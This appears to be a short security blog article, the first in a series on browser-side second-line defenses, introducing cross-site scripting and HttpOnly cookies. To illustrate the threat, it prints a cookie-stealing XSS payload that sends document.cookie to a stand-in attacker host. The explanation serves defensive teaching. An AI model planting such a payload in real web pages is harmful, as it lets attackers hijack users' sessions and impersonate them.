Article: Second Line of Defense in Web Applications Part 1

Driven by our secure software development activities, we will publish a series of articles on second line of defence web application security techniques, starting with this article.

Today’s web applications have to deal with several types of vulnerabilities and creating secure web applications is more challenging than it ever was. Modern web applications offer a rich user interface and implement a lot of logic on the client side with technologies like HTML5, CSS3 and a lot of JavaScript. This adds complexity.

Modern web applications do not only consist of some server-side programming language that generate HTML pages and a database back-end. Modern web applications are more like an infrastructure of components that play together. For example the core might be still server side code for page generation, but there could also be client side  JavaScript for UI and application logic, a RESTful API that returns JSON which is used by the  JavaScript UI and possibly a mobile client. Many web applications today use lots of different frameworks and include widgets from third-party sites, such as social networks.

This added complexity does not only make it harder to secure web applications, but also introduced new vulnerabilities that need to be considered.

Because it is so hard to properly secure web applications we have to deal with the fact that there will be vulnerabilities on the server side. Therefore, security experts, browser vendors and web standard committees started introducing more client side defenses. These defenses do not replace secure development approaches on the server side code but are meant to complement the server-side defenses as a second line of defense, so that even if a web application contains a vulnerability, the browser might be able to prevent exploitation of the vulnerability.

It is sometimes hard to keep up with these new additional defenses. We will publish blog posts each describing one or two of these defensive mechanisms that will help to additionally secure modern web applications.

Introduction to Cross Site Scripting

Web vulnerabilities like SQL injections still affect a lot of web applications, but server-side mitigation techniques are well known and good to handle. But one type of vulnerability seems to be especially hard to mitigate:
Cross-Site-Scripting (XSS). ( https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) ).

The subtleties of XSS make it very hard to create generic mitigation solutions, especially with more application logic shifting to JavaScript, which can be as vulnerable to XSS as server-side code. XSS vulnerabilities however can have a dangerous impact, such as user impersonation, session stealing or malware delivery. Therefore several second line of defense XSS avoidance techniques were developed that will be discussed in the first two articles.

HTTP Only Cookies

A typical XSS attack targets the session cookie. If an attacker is able to steal the session cookie he is in posession of the session id and can impersonate the user by taking over his session. A simple payload that achieves this is:

<script>document.write("<img src='http://attacker.example.com/" + escape(document.cookie) + "' />")</script>

An attacker captures the HTTP request from the browser for the image and has the cookie. As a defense against such an attack HTTP only cookies were introduced. If a cookie contains the “HttpOnly” flag, a browser won’t  make the cookie accessible via JavaScript. So a call to “document.cookie” will result in an empty string.

This is only a very basic defense, which only protects against the simplest and most common attacks. If the attacker uses a more sophisticated payload he can easily impersonate the user without stealing the session cookie, but solely via the XSS payload e.g. by circumventing cross site request forgery protections.

Stay tuned to learn about additional second line of defense mechanisms!

Michael Rodler, Limes Security